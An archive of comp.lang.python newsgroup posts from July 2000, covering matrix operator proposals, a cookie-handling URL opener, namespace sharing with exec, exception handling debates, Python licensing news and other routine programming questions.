>syntax (since the dot would interfer with methods on the sequence
>object).

My impression from the python-dev list is that this is not the case.  Some
say it is easy to distinguish

a. + b
a .+ b

Some say it is difficult.  But the first is a syntax error anyway. 

The only real danger is 

3. + a
3 .+ a

But in this case pointwise operation does not make sense. 

So I suppose the following rules would resolve all the ambiguities:

Dot binds with preceding number.  Otherwise it binds with following
operator. Otherwise it is a member indicator.  Otherwise it is syntax error.

Examples:

2.+b
a.+b    <-- only this is new
a.b
a.3


-- 
Huaiyu Zhu                       hzhu at users.sourceforge.net
Matrix for Python Project        http://MatPy.sourceforge.net 


From MarkH at ActiveState.com  Fri Jul 21 09:28:53 2000
From: MarkH at ActiveState.com (Mark Hammond)
Date: Fri, 21 Jul 2000 13:28:53 GMT
Subject: Pythonwin attribute expansion
References: <326536345498D311B3BC00105A39802A0747A7@newsintern.dspace.de> <8l79ou$shk$1@nnrp1.deja.com>
Message-ID: <peYd5.8268$4p3.59972@news-server.bigpond.net.au>

"Howard B. Golden" <hgolden at my-deja.com> wrote in message
news:8l79ou$shk$1 at nnrp1.deja.com...
...
> Note this timeline for problem resolution:
>
> - Problem found/message on c.l.p: 2000 July 20 0000 GMT (California)
> - Solution suggested:             2000 July 20 0215 GMT (Australia)
> - Solution coded:                 2000 July 20 ???? GMT (Germany)
> - Solution accepted:              2000 July 20 1600 GMT (California)

Hey - I like this.  It means that by _not_ actually providing an answer, I
am doing the Open Source movement a favour!

Wishing-I-discovered-that-years-ago-<wink>-ly,

Mark.





From huaiyu_zhu at rock.localdomain  Sat Jul 15 18:25:08 2000
From: huaiyu_zhu at rock.localdomain (Huaiyu Zhu)
Date: Sat, 15 Jul 2000 15:25:08 -0700
Subject: Discussion: Introducing new operators for matrix computation
In-Reply-To: <Pine.GSO.4.10.10007151019290.26622-100000@sundial>
References: <Pine.GSO.4.10.10007151019290.26622-100000@sundial>
Message-ID: <200007152225.PAA09463@rock.localdomain>

In comp.lang.python, you wrote:
>
>B*[sin(A*x+b).*(A*y)/3]/C 
>
>Is spelled
>
>(Assume all matrices are originall matrix-wise)
>
># sin() already works element by element, unless you define
># sin(A) = A-(A^3/3!)+(A^5/5!)-....
>B*(sin(A*x+b).Element()*(A*y).Element()/3)/C
>

Hmm, I can see one advantage of writing a.*b as

a.Element()*b.Element()

That is, instead of sinm(x) and sin(x) we can write

sin(x) and sin(x.Element())

But both functions still need to be implemented, and each function call
would involve a member lookup, an initializsation and a type comparison.  So
overall it is perhaps disadvantageous.

BTW, the matrix sin function is equivalent to the Taylor expansion, but it
is calculated differently, using eigendecomposition.

Huaiyu




From shouldbe at message.com  Fri Jul  7 10:25:15 2000
From: shouldbe at message.com (Arinté)
Date: Fri, 07 Jul 2000 14:25:15 GMT
Subject: More PyArg questions?
Message-ID: <fLl95.37562$NP5.1182716@newsread2.prod.itd.earthlink.net>

Is PyArg_ParseTuple and PyArg_ParseTupleKeywords (or whatever it is) the
only two to monkey are with arguments passed from python to c++?

Also, what would be the best way to set a string that the python script
wants to be filled in.  Ex.
some.py
fillinstring = " "
cplusplusapp.read(fillinstring)

What is the best way for C++ apps to fill in that string?  Are python
strings going to be resizable?




From mfein at aplcomm.jhuapl.edu  Fri Jul 14 08:52:39 2000
From: mfein at aplcomm.jhuapl.edu (Matt Feinstein)
Date: Fri, 14 Jul 2000 12:52:39 GMT
Subject: Discussion: Introducing new operators for matrix computation
References: <slrn8mpi53.sh.hzhu@rocket.knowledgetrack.com> <396daf35.3870545@aplnews> <slrn8ms7cv.sj.hzhu@localhost.localdomain> <396f0031.3421579@aplnews> <396F0CB9.F51B4D53@fft.be>
Message-ID: <396f0ce6.6675048@aplnews>

On Fri, 14 Jul 2000 14:51:05 +0200, Gregory Lielens
<gregory.lielens at fft.be> wrote:

>
>> >>The main thing I'd think about in addition to standard MATLAB syntax
>> >>is a natural 'prolongation' syntax.
>> What I mean is, given vectors, e.g.,
>> 
>> d = [d1 d2]
>> c = [ c1 c2 c3]
>> 
>> an apparently incorrect element-wise multiplication like
>> 
>> d'.*c
>> 
>> would be interpreted as
>> 
>> [d1 d1 d1; d2 d2 d2].*[c1 c2 c3;c1 c2 c3]
>> 
>which is a classical matrix product d'*c, I think,at least if you
>distinguish between line and column vectors...
>

AUUGH. That's what happens when you post too early in the morning.

--
Matt Feinstein
mfein at aplcomm.jhuapl.edu
Organizational Department of Repeated
and Unnecessary Redundancy


From erno at iki.fi  Thu Jul 13 02:38:44 2000
From: erno at iki.fi (Erno Kuusela)
Date: 13 Jul 2000 09:38:44 +0300
Subject: File IO with select?
References: <396BBCE9.2C114ED3@tgflinux.com>
Message-ID: <kuwviqwn4b.fsf@lasipalatsi.fi>

>>>>> "Jared" == Jared Lee Peterson <jared at tgflinux.com> writes:

    Jared> wait until process two writes to the file before it can
    Jared> then read from it.  I am trying to use select() for this

won't work on regular files. use file locking (see the fcntl mdoule).

  -- erno


From kelley at bioreason.com  Fri Jul 14 06:27:11 2000
From: kelley at bioreason.com (Brian Kelley)
Date: Fri, 14 Jul 2000 11:27:11 +0100
Subject: string issue or questions about intern
Message-ID: <396EEAFF.3AD7B951@bioreason.com>

How can you tell what's in the intern table?

This is really in response to the thread "Is pickle buggy?" where we are
trying to trace down a memory leak.

Jepler epler has an example piece of code:

while 1:
  eval(`uniquestring()`)

where unique string returns a unique 5 character string per call.  This
appears to run out of memory after a while on his linux box and on my NT
box.

now if uniquestring returns something like 'a="AAAAA"'

while 1:
  eval(`uniquestring()`)

Memory stays constant.

So, does eval('"AAAAA"') intern "AAAAA" or simply not clean up the
memory since it is not assigned to a variable?

And does this have anything to do with a potential memory leak in
pickle?  (See the thread if you are interested)
--
Brian Kelley          Bioreason, Inc
505 995-8188 ext 207  150 Washington St Suite 303
kelley at bioreason.com  Santa Fe, NM, 87501




From cander at ieor.berkeley.edu  Thu Jul 13 20:49:15 2000
From: cander at ieor.berkeley.edu (Charles Anderson)
Date: Thu, 13 Jul 2000 17:49:15 -0700
Subject: Reading cookies on the client side
Message-ID: <396E638A.DD2CD797@ieor.berkeley.edu>

I was trying to figure out how to write a robot of sorts to get some
info from a site that uses cookies.  I poked around, and there didn't
seem to be anything existing in Python to handle it.  So, I wrote an
extension of FancyURLopen.

The biggest problem I had to deal with was the site I was connecting to
returned some cookies then did a redirect to another page that returned
more cookies.  All of the cookies are needed for subsequent
interactions.  So, this class overrides the handler for 302 redirects.

Caveat: I didn't know Jack about cookies or HTTP when I started this.
Therefore, this may be completely wacked, but it works for me.

enjoy,
Charles.
------

from urllib import FancyURLopener
import string

class CookieURLopener(FancyURLopener):
    def __init__(self):
        FancyURLopener.__init__(self)
        self.cookies = []

    def open_http(self, url, data=None):
        """Handle an HTTP open request.  We pass this to FancyURLopener
to do
           the real work.  Afterwards, we scan the info() for
cookies."""
        result = FancyURLopener.open_http(self, url, data)
        self.eatCookies(result.info())
        return result

    def http_error_302(self, url, fp, errcode, errmsg, headers,
data=None):
        """Handle an HTTP redirect.  First we get the cookies from the
headers
           off of the initial URL.  Then hand it off to the super-class,
which
           will call back into our open_http method, where we can pick
up
           more cookies."""
        self.eatCookies(headers)
        result = FancyURLopener.http_error_302(self, url, fp, errcode,
errmsg, headers, data=None)
        return result

    def eatCookies(self, headers):
        """Scan a set of response headers for cookies.  We add each
cookie to
           our list."""
        cookies = headers.getallmatchingheaders('set-cookie')
        for c in cookies:
            self.addCookie(string.strip(c[12:]))        # "set-cookie: "
is 11 characters

    def addCookie(self, cookie):
        """Add a cookie to our cache of them and call addheaders of our
parent."""
        self.cookies.append(cookie)
        self.addheader('Cookie', cookie)

    def dumpCookies(self):
        for c in self.cookies:
            print 'cookie:', c




From sean at digitome.com  Sun Jul  2 07:53:00 2000
From: sean at digitome.com (Sean Mc Grath)
Date: Sun, 02 Jul 2000 11:53:00 GMT
Subject: __getattr__ and pickle
References: <395f26a4.1832855@news.iol.ie>
Message-ID: <395f2748.1996610@news.iol.ie>

The was a typo that could lead to confusion + a genuinely unforseen
and unintentional pun in the original post. I have fixed the typo but
left in the pun here:

-------------------------
I have a reproduceable GPF on NT when pickking objects of a class
that has a __getattr__ implementation. Take out the __getattr__ and
the pickle works fine.

Are there ways to implement __getattr__ and yet preserve the ability
to pickle?

regards,




From hzhu at users.sourceforge.net  Fri Jul 28 21:20:13 2000
From: hzhu at users.sourceforge.net (Huaiyu Zhu)
Date: Sat, 29 Jul 2000 01:20:13 GMT
Subject: Perl is worse!
References: <8losor$4bk$1@nnrp1.deja.com> <slrn8o0n0b.qhk.grey@teleute.rpglink.com> <8lpt57$hsu$2@newshost.accu.uu.nl> <slrn8o10ko.rt1.grey@teleute.rpglink.com> <8lq5q6$fn4$1@newshost.accu.uu.nl> <slrn8o1do5.rt1.grey@teleute.rpglink.com> <8lspdu$m7e$1@newshost.accu.uu.nl> <slrn8o40d1.49c.grey@teleute.rpglink.com> <20000728192952.A32288@exeter.exeter.org> <slrn8o4aid.7dm.grey@teleute.rpglink.com>
Message-ID: <slrn8o4chq.1cq.hzhu@rocket.knowledgetrack.com>

On Sat, 29 Jul 2000 00:52:33 GMT, Steve Lamb <grey at despair.rpglink.com> wrote:

>>If they already contained numbers (well, strings of digits), and you were
>>certain, then simply:
>
>>	a = int(b)
>
>    As stated, that would work except Python returns a None on a no-match and
>None can't be converted.
>

That's good, because None usually indicates there is nothing (not even a
zero),

if b is None:
   print "Ok, we'll finish here"
   break
else:
   a = int(b)



Huaiyu


From aruth at intercation.com  Wed Jul 26 10:23:34 2000
From: aruth at intercation.com (Adam Ruth)
Date: Wed, 26 Jul 2000 08:23:34 -0600
Subject: Python is wierd!
References: <200007250541.PAA25542@envy.fulcrum.com.au>
Message-ID: <8lmsci$1sf8$1@news.aros.net>

I learned dynamic languages when one day I decided to learn Smalltalk.  I
had the same problems you did at first.  No types, classes that can change
at run time, no "proper" encapsulation.  How could anyone build anything
that works in such a language.  But the thing that kept coming back to me
was that just prior to my picking up Smalltalk I read that a stock trading
system was just rolled-out in Smalltalk that handled 50% of all stock trades
in North America.  So it must work somehow.

Here's the main point that I learned that finally got me over the hump:

There is no compile cycle, only a testing cycle, at which point you're sure
that everything works.  With compile-time checking you can easily fall into
the trap that 'it compiled--it must work'.  Especially for small changes.
With dynamic languages, you can never assume that so you always test.  You
should always test all your changes with a static language too, but the
incentive to do so is less.  Once you get the mindset that 'it's okay
because I tested it and it worked', your dynamic code will have a quality
that intuitively must not be there.

--
Adam Ruth
InterCation, Inc.
www.intercation.com


"Richard Jones" <Richard.Jones at fulcrum.com.au> wrote in message
news:200007250541.PAA25542 at envy.fulcrum.com.au...
>
> [Jonathan]
> > 1. There are no keywords to declare static or instance variables; it
> > all depends where they are placed(whether it's right after the <class>
> > statement, or inside a <def>). Isn't it harder for other programmers to
> > know at one glance what type of attributes the class define?
>
>    I thought it was perfectly clear - much clearer than some other
languages :)
>
>    Static attributes are assigned at class definition. Instance attributes
are
> assigned to an instance once it's created. That's pretty straightforward.
If
> there's a confusion at a later stage about whether an attribute is
instance- or
> class- then you've probably got a fundamental design problem in your
class...
>
>
> > 2. No *formal* declaration of static class methods, e.g. no 'static'
> > keyword (though i'm not sure how useful static methods are in OOP
> > design). I read somewhere in this newsgroup that the workaround way is
> > to define the method outside of the class - doesn't it break
> > the 'encapsulation' a class suppose to have?
>
>    The generally accepted method is to put these utility functions where
they
> logically belong: in the module that defines the class, but not in the
class
> itself. If it doesn't operate on an instance, what business does it have
in the
> class definition. I use static methods in Java for one thing only: utility
> functions. That's because Java won't let me have stand-alone functions.
(That's
> not a dig at Java!)
>
>
> > 3. No keywords to differentiate between passing arguments by reference
> > or value! An integer is passed by value(reference to a new copy), while
> > a mutable object is by reference. To pass a list by 'value', i know you
> > just need to insert one more line(list = [:]), but it seems
> > so 'inconsistent' compared to Java or even PHP.
>
>    Nope, everything is pass-by-reference in Python. Even your integer is
> pass-by-reference, but since it's an immutable object, it might _seem_
like
> you're passing the value of the object.
>
>
> > (Not to mention the number of 'gotchas' listed in the book that are
> > bound to trap beginners - *shudder*)
>
>    Gotchas? I've not read the book - are these actually stated in the book
as
> gotchas? I'll personally beat on the head of the author if they are :)
>
>
>       Richard
>
>
>




From darrell at dorb.com  Sun Jul 16 22:42:17 2000
From: darrell at dorb.com (Darrell Gallion)
Date: Sun, 16 Jul 2000 22:42:17 -0400
Subject: problems trying wxPython in Win 95
References: <iFtc5.19052$V34.236887@news1.sttls1.wa.home.com>
Message-ID: <000701bfef98$9f658040$6401a8c0@home>

My experience with this isn't recent.
But last I checked wxPython didn't work with 1.6, don't know about 2.0. The
demo will work with 1.5.2. I'd suggest uninstalling wxPython, rebooting and
reinstalling it. I had a problem like this when upgrading from the last
version of wxPython.

Also check the wxPython mailing list where others of much greater wxPython
experience hang out. And similar questions have been asked.

--Darrell

----- Original Message -----
From: "Rob" <europax at home.com>
> I want to run the demo program included in wxPython 2.1.  Upon starting it
I
> immediately get the message appended to this post.  I have two versions of
> Python installed-  1.5.2 and 1.6a2.  I tried the demo from both of them
and
> get the same result.  I tried running it from the console, from PythonWin,
> and from IDLE, all with negative results.  Does anyone have an idea of
what
> is going on?
>
> Thanks,  Rob.
>





From robin at illusionsexeculink.com.bbs  Fri Jul 14 15:30:09 2000
From: robin at illusionsexeculink.com.bbs (robin at illusionsexeculink.com.bbs)
Date: 14 Jul 2000 19:30:09 GMT
Subject: namespace sharing (longish)
Message-ID: <3bP6MX$m9o@openbazaar.net>

I'm having a great deal of difficulty wrapping my head around the
namespace issue.

All I want to do is execute user-supplied (eg: arbitrary) functions
and have them share a namespace. So the first such function could
define some variables and later functions could read their values.

Simple. Or not?

I constructed the following test script:

# test.py BEGIN ###########
import pprint

if __name__ == "__main__":
	# seed the namespace
	namespace = {'var_main': 'hello'}

	# here lies my user module
	x = 'from test_lib import *'
	exec x in namespace
	del x

	# BEGIN KEY CODE
	# code to execute
	code1 = 'ret_one = one()'
	code2 = 'ret_two = two()'
	
	# compile it to be nice
	compiled1 = compile(code1, '<string>', 'exec')
	compiled2 = compile(code2, '<string>', 'exec')

	# go -- execute!
	exec compiled1 in namespace
	exec compiled2 in namespace
	# END KEY CODE

	# remove cruft from name space
	del code1, code2, compiled1, compiled2
	
	# what do we have?
	print
	print '0000000000000000000000000'
	pp = pprint.PrettyPrinter()
	print 'local => '
	pp.pprint( locals() )

	print 'global => '
	pp.pprint( globals().keys() )

# test.py END #############

Then, the user module could look like:

# test_lib.py BEGIN ###########
def one():
	import pprint

	# define a variable local to this routine
	var_one = 'in one'
	
	# check out our environment -- any sign of namespace? no??
	print
	print '1111111111111111111111111'
	pp = pprint.PrettyPrinter()
	print ' local => '
	pp.pprint( locals() )
	print 'global => '
	pp.pprint( globals().keys() )

	return 'one'
	
def two():
	import pprint

	# same as above -- for now
	# later this will catch variables defined in one()
	var_two = 'in two'
	
	print
	print '2222222222222222222222222'
	pp = pprint.PrettyPrinter()
	print ' local => '
	pp.pprint( locals() )
	
	print 'global => '
	pp.pprint( globals().keys() )

	return 'two'
# test_lib.py END #############

Then I tried a variation of test.py using the eval function in place
of the exec statement:

	# BEGIN KEY CODE
	code1 = 'one()'
	code2 = 'two()'
	
	compiled1 = compile(code1, '<string>', 'eval')
	compiled2 = compile(code2, '<string>', 'eval')
	
	ret_one = eval(compiled1, namespace)
	ret_two = eval(compiled2, namespace)
	# END KEY CODE

The results?

The namespace appears to have no effect on the user routines. They
cannot see var_main. Both methods produce the same (null) results.

How do I do this?

-----
robin                          robin at illusionsexeculink.com
media artist /                 remove illusions to reply
information architect          www.execulink.com/~robin/

"We told it about general relativity and gravity, the kind of people
that overcome hardships."


From cut_me_out at hotmail.com  Sun Jul 16 10:58:03 2000
From: cut_me_out at hotmail.com (Alex)
Date: 16 Jul 2000 10:58:03 -0400
Subject: [Patch] {l,r}just with optional pad character parameter
References: <8kshd3$l1h$2@bw107zhb.bluewin.ch>
Message-ID: <etdd7keyves.fsf@w20-575-119.mit.edu>

Hi, Beat. 

The python developers seem pretty indiscriminate about who they'll
consider patches from.  They have looked at a couple from me, for
instance. :)

You might want to read this page:

http://www.python.org/patches/

it tells you where to send patches.

Alex.


From grey at despair.rpglink.com  Sat Jul 29 22:43:42 2000
From: grey at despair.rpglink.com (Steve Lamb)
Date: Sun, 30 Jul 2000 02:43:42 GMT
Subject: Perl is worse!
References: <8losor$4bk$1@nnrp1.deja.com> <slrn8o0n0b.qhk.grey@teleute.rpglink.com> <8lpt57$hsu$2@newshost.accu.uu.nl> <slrn8o10ko.rt1.grey@teleute.rpglink.com> <8lq5q6$fn4$1@newshost.accu.uu.nl> <slrn8o1do5.rt1.grey@teleute.rpglink.com> <8lspdu$m7e$1@newshost.accu.uu.nl> <slrn8o40d1.49c.grey@teleute.rpglink.com> <8luhsi01ce8@news2.newsguy.com> <slrn8o6nub.f91.grey@teleute.rpglink.com> <8lvr4n0iue@news2.newsguy.com>
Message-ID: <slrn8o75ep.fjt.grey@teleute.rpglink.com>

On Sun, 30 Jul 2000 01:55:43 +0200, Alex Martelli <alex at magenta.com> wrote:
>Which is what most computer work is doing, though the DB's may
>not be relational ones.  Files, mailboxes, documents, saved
>games, newsgroups, sites -- call them as you wish, they do
>persist (hopefully:-) and your data are right there.

    I am aware of that.  So a problem in IO routine that don't interact with
those, with display routines, mouse input for positioning alone, etc should
all crap out just to protect the data?  That seems utterly foolish.  Sounds
like the reason that Microsoft software crashes so much. Oh no, the mouse
moved the wrong way, CRASH!!!!

>that a program crash makes you lose them, you'll also lose them if
>electricity goes away, or the *OS* crashes (far from unknown, in
>Microsoft widespread OS's especially), etc.

    All of which are a lot less likely than a snafu in some data stream.

>Losing a serious database, such as a full mail archive, is utter tragedy --
>the kind of thing that can break a small company (if they haven't been
>religiously careful about backing up *everything* frequently -- and far too
>many aren't).

    BTW, you are aware that it is possible that such crash outs on minor
things are just as apt to currupt the persistant database as anything else?

>wilfully wrong-headed programmer can always deliberately choose
>to catch and explicitly ignore them, but that requires a higher
>order of perversity than the common mistake of failing to check
>for each and every possible error!-)

    Right, and the highest of them all is having 2/3rds the lines in code
consist of "try:" and another 2/5s be "except:".

>Control-C (depending on the operating system) will cause a specific
>exception, and the programmer decides how it gets handled.

    Then that tosses out your idea of putting it all in a large try:/Except:
block, doesn't it?  We cannot see all errors that will occur.

>No!  The semantics of 'restartable exceptions', which you refer to,

    Ungh!  Great, so even with a global try/except block to catch errors we
end up with a highly unstable system in an unworkable state!

-- 
         Steve C. Lamb         | I'm your priest, I'm your shrink, I'm your
         ICQ: 5107343          | main connection to the switchboard of souls.
-------------------------------+---------------------------------------------


From alex at magenta.com  Fri Jul 28 11:49:02 2000
From: alex at magenta.com (Alex Martelli)
Date: Fri, 28 Jul 2000 17:49:02 +0200
Subject: Perl is worse!
References: <LNBBLJKPBEHFEDALKOLCEEINGMAA.tim_one@email.msn.com> <slrn8o2ft4.1e2.grey@teleute.rpglink.com> <39814767.FFEFE5D0@infercor.no> <8lrt2h013fp@news2.newsguy.com> <KPgg5.2640$6E.682060@ptah.visi.com>
Message-ID: <8lsa9901fm9@news2.newsguy.com>

"Grant Edwards" <ge at nowhere.none> wrote in message
news:KPgg5.2640$6E.682060 at ptah.visi.com...
> In article <8lrt2h013fp at news2.newsguy.com>, Alex Martelli wrote:
> >
> >> whereas 1 + "foo" is meaningless to almost everyone except Perl coders.
> >
> >No way -- it's perfectly valid in C, too, except that there it means the
> >constant-string "oo".  Really, truly, X my heart, I kid you not, check it
> >out if you don't believe me (I wouldn't blame you for disbelieving
this!).
>
> I would assert that although 1 + "foo" is meaningful to the C
> _compiler_, it is still meaningless to almost "everyone" (as in
> people) except Perl coders, and probably meaningless to most of
> them as well.

I think you underestimate the amount of "Obfuscated C" participants
who have not been Perl coders.  1+"foo" and 1["foo"] are very
meaningful kinds of constructs to obfuscators!-)


What I don't understand is, rather...:

    $foo = ++$bar;

versus

    $foo = 1 + $bar;

How much sense can it make to have those two constructs leave
totally different values in $foo?  Yet, if $bar starts out as "foo", the
former makes $foo worth "fop", the latter makes it worth 1.  Now,
THAT is the way to let a creative obfuscator show his mettle.


Alex





From gee308 at mediaone.net.bbs  Tue Jul 18 03:30:16 2000
From: gee308 at mediaone.net.bbs (gee308 at mediaone.net.bbs)
Date: 18 Jul 2000 07:30:16 GMT
Subject: newb question
Message-ID: <3bRfYe$jTl@openbazaar.net>

Do you need to use classes?  I'm a newb and I'm just writing a
"read-down"script with one or 2 functions.  What do you mean by raw_input
and read() and write()?  Thanks for th help.
Jason Toy


lordkaos at my-deja.com wrote:

> In article <3973EE1B.15B0B32E at mediaone.net>,
>   Toy <gee308 at mediaone.net> wrote:
> > what is a simple way I can save variables that people enter in from
> > 'raw_input' ?  That way, someone enters the variables they want, then
> > when the script is booted up everytime the machine starts, it will
> grab
> > the variables from somewhere.  Thanks.
> > Jason Toy
> > toyboy at toy.eyep.net
> >
> >
> The tutorial at <a href="http://www.python.org/current/tut">Python's
> website</a> tells a simple and easy way to do exactly what you're
> saying. If you can get the variables into a class (read section 9, in
> particular 9.3) then it is easy to read and write a big set of vars all
> together in one operation by using the 'pickle' command (read about
> this and easy file creation/opening in section 7.2). I just read over
> this and it should answer your question. Come to think of it, raw_input
> stores your input as a string, so you can just read() and write() in
> one swipe to do the same thing (This would be much easier).
>
> --Jared
>
> Sent via Deja.com http://www.deja.com/
> Before you buy.


From scarblac-spamtrap at pino.selwerd.nl  Wed Jul 19 05:52:24 2000
From: scarblac-spamtrap at pino.selwerd.nl (Remco Gerlich)
Date: 19 Jul 2000 09:52:24 GMT
Subject: Using filter()
References: <8l1o9h$pto$1@news.rchland.ibm.com> <8l256r$d7n$1@netserv.univ-lille1.fr> <8l2g53$14ha$1@news.rchland.ibm.com>
Message-ID: <slrn8naugj.f6e.scarblac-spamtrap@flits104-37.flits.rug.nl>

Larry Whitley wrote in comp.lang.python:
> I don't understand why lambda needs the second parameter.  When I experiment
> with
> 
> filter( lambda x: string.find( x, name) == 0, fileList)
> 
> in place of
> 
> filter( lambda x,sf=string.find: sf(x, name )==0, fileList )
> 
> it works as well.  I suspect that your codeing come from something more
> general.  Can you explain the reason the sf=string.find construction is
> useful in this context?

You tried this out in the global namespace, outside a function. Then it's
not needed.

Since the lambda is another function, it only sees its own namespace
and the module's global namespace, and not the namespace of the function
you define and use it in. So you have to pass variables in as default
parameters to make them visible inside the lambda...

Actually, that's not needed for string.find if string is imported globally.
But you *do* need to use "name=name" as well if name is a local variable
in a function.

The sf=string.find makes it slightly faster.
-- 
Remco Gerlich,  scarblac at pino.selwerd.nl

   This is no way to be
     Man ought to be free      -- Ted Bundy
       That man should be me


From MarkH at ActiveState.com  Wed Jul 26 21:06:25 2000
From: MarkH at ActiveState.com (Mark Hammond)
Date: Thu, 27 Jul 2000 01:06:25 GMT
Subject: How to create COM Servers with IID_IDTExtensibility2 interface 
References: <jwLf5.312$671.55181@nnrp4.clara.net>
Message-ID: <lWLf5.13002$4p3.101011@news-server.bigpond.net.au>

> According to a very small demo I have downloaded from Microsofts
website,
> for a COM object to be used by excel as a COM Addin
> it must implement the interface IID_IDTExtensibility2.  I know the GUID
for
> this interface and its "defined methods".

Sorry - you are SOL.

To support arbitary interfaces, you need C++ support, in the form of an
extension module.  There is a new "Univgw" that may help you out, but I
dont know much about this (Bill Tutt has been working on that, but not
much has been done recently - I dont even know its completeness.)

Mark.




From paul at prescod.net  Wed Jul 19 13:17:52 2000
From: paul at prescod.net (Paul Prescod)
Date: Wed, 19 Jul 2000 12:17:52 -0500
Subject: Python-dev summary: July 1-15
References: <20000718100813.C21354@newcnri.cnri.reston.va.us> <u8zuzp0n7.fsf@ctwd0143.fitlinxx.com> <3974E8CD.55215FD9@inrialpes.fr> <3975E180.1AFD30D@roguewave.com>
Message-ID: <3975E2C0.BAFBA961@prescod.net>

Bjorn Pettersen wrote:
> 
> 
> I think the PEPs are a great idea, but it would be even better if they
> were more accessible... How about putting them up on the beopen or
> python.org site? (That way the faq can refer to them for recurring
> discussions with all the arguments archived in the PEP...)

That will happen one day. It's just that nobody has got around to it
yet.

-- 
 Paul Prescod - Not encumbered by corporate consensus
Just how compassionate can a Republican get before he has to leave the 
GOP and join Vegans for Global Justice? ... One moment, George W. Bush
is holding a get-to-know-you meeting with a bunch of gay Republicans.
The next he is holding forth on education or the environment ... It is
enough to make a red-blooded conservative choke on his spotted-owl
drumstick.     - April 29th, Economist



From richard_chamberlain at my-deja.com  Thu Jul 27 05:15:27 2000
From: richard_chamberlain at my-deja.com (richard_chamberlain at my-deja.com)
Date: Thu, 27 Jul 2000 09:15:27 GMT
Subject: The State of Python
References: <200007270038.TAA03951@cj20424-a.reston1.va.home.com>
Message-ID: <8loujd$5j7$1@nnrp1.deja.com>

A question out of curiosity.

If someone had made a contribution to the standard library and had
written a certain licensing agreement as a comment in the file would
that module still be covered by the BeOPEN or CNRI agreement? - or
would it's own license still stand?

Richard


In article <200007270038.TAA03951 at cj20424-a.reston1.va.home.com>,
  Guido van Rossum <guido at beopen.com> wrote:
> I've placed the slides of my talk at the O'Reilly Open Source
> Convention on-line at our BeOpen PythonLabs website:
>
>     http://www.pythonlabs.com/talks.html
>
> We're also very close to announcing news regarding a new Python
> license, Python 1.6 and 2.0 release schedules, and a transition of the
> python.org website to hosting by VA Linux.
>
> The announcement is waiting for final negotiations about GPL
> compatibility of the new license; BeOpen's CTO, Bob Weiner, is
> confident that the issue will be resolved one way or another by
> Friday.
>
> A preview of what we will announce:
>
>   - A new license for Python 1.6 and later: the "CNRI Open Source
>   License", approved by the Open Source Initiative;
>
>   - Release plans for Python 1.6: the last CNRI release, to be issued
>   with help from BeOpen;
>
>   - Release plans for Python 2.0: the first release to be issued by
>   BeOpen;
>
>   - A transition for the python.org website: it will be hosted by VA
>   Linux (home of SourceForge), under supervision of the Python
>   Consortium and myself, maintained by the Python community.
>
> Please hold your breath a little longer!
>
> A re-release of JPython using the CNRI Open Source License is possible
> a little later, pending further negotiations with CNRI.
>
> --Guido van Rossum (home page: http://www.pythonlabs.com/~guido/)
>
>


Sent via Deja.com http://www.deja.com/
Before you buy.


From rwallace at esatclear.ie  Mon Jul 31 21:48:35 2000
From: rwallace at esatclear.ie (Russell Wallace)
Date: Tue, 01 Aug 2000 02:48:35 +0100
Subject: Newbie pythoner, with bizzare problem
References: <66BC56277B82FC67.B3EED2DD79D7AFED.2311A1AB38DBA14A@lp.airnews.net> <8F79257Amilenkomoonshinecouk@194.73.73.116> <m33dl2o39d.fsf@atrus.jesus.cam.ac.uk> <8lcef2$fbn$0@216.39.151.169>
Message-ID: <39862C73.53B1@esatclear.ie>

Donn Cave wrote:
> 
> Quoth claird at starbase.neosoft.com (Cameron Laird):
> | You're also right that
> |   from os import *
> | is, of course, universally deprecated.
> 
> So where do so many new programmers learn to do this?
> This is a serious question.  Is there some tutorial
> out there that leads them astray?

On reading the documentation, I was repeatedly told several times not to
do this; I don't see how it could reasonably be missed.

I do it anyway, for convenience; that, for me, is Python's raison
d'etre.  I suspect that's the usual reason for doing it.

-- 
"To summarize the summary of the summary: people are a problem."
Russell Wallace
mailto:rwallace at esatclear.ie
http://www.esatclear.ie/~rwallace


From paul at prescod.net.bbs  Mon Jul 17 16:00:11 2000
From: paul at prescod.net.bbs (paul at prescod.net.bbs)
Date: 17 Jul 2000 20:00:11 GMT
Subject: Matlab vs Python (was RE: Discussion: Introducing new operators f
Message-ID: <3bRNaC$l5j@openbazaar.net>

Huaiyu Zhu wrote:
>
> ...
>
> I thought I replied your email through email ... Ah, here it is:

Right, but you weren't the person who brought up the millions of Matlab
users this time.

> ...
> On the other hand, open source may beat them
> easily, as long as
>
> 1. we are using a better language which has more potential
> 2. users have incentive to contribute because it's already useful
> 3. there's no big hurdle beyond what's already in Numerical Recipe

You presume a great deal of human labour which you cannot provide by
yourself. We cannot extend Python based on your faith that these people
will come along and do the work to make it a serious Matlab competitor.
Anyhow, you can prove me wrong by making MatrixPython as popular as
Python. Then we will come to YOU and ask if we can merge grammars to
unify our communities.

I could just as easily claim that if we add regular expressions to the
Python syntax, all of the Perl users would come over here. I don't have
any evidence, though.
--
 Paul Prescod - Not encumbered by corporate consensus
It's difficult to extract sense from strings, but they're the only
communication coin we can count on.
	- http://www.cs.yale.edu/~perlis-alan/quotes.html


From hzhu at localhost.localdomain  Tue Jul 18 17:12:57 2000
From: hzhu at localhost.localdomain (Huaiyu Zhu)
Date: Tue, 18 Jul 2000 21:12:57 GMT
Subject: Matlab vs Python (was RE: Discussion: Introducing new operators  for   matrix computation)
References: <slrn8mpi53.sh.hzhu@rocket.knowledgetrack.com> <3973415D.5262CD86@eecis.udel.edu> <39735013.1AE68176@roguewave.com> <slrn8n6l4p.qp.hzhu@rocket.knowledgetrack.com> <39735A82.8B4D0489@prescod.net> <slrn8n6ppl.sf.hzhu@rocket.knowledgetrack.com> <qnkaefg4esq.fsf@arbutus.physics.mcmaster.ca> <slrn8n75s4.2jc.hzhu@rocket.knowledgetrack.com> <3973A347.3ABCB12F@prescod.net> <ilq8nss3pc0luvogh4kdh1pdlrnu7614df@4ax.com>
Message-ID: <slrn8n9i9j.so.hzhu@rock.localdomain>

I really like this kind of ideas.  Anyone able to implement it?  What it
takes to change a patch of grammar to an importable module?

Maybe the way to do it is to change the python implementation of operator
into an object oriented approach?  Similar to PyObject we'll have a
PyOperator which defines the symbol, name, scoping and precedence rules.
This way handling operators within python would be similar to hadling
ordinary objects, by import NewOperator.  To discourage abuses there may be
restrictions on what is allowed as symbols and what precedence rules are
allowed and so forth, and perhaps prohibit dynamic changes within an
importing module.

If everything about operators is concentrated within one class I think this
will also make python itself simpler.  In any case I think this fits in the
idea of doing things in organized way and removing arbitrary restrictions.

(This is just my guesstimate so that others may come with hard facts.)  

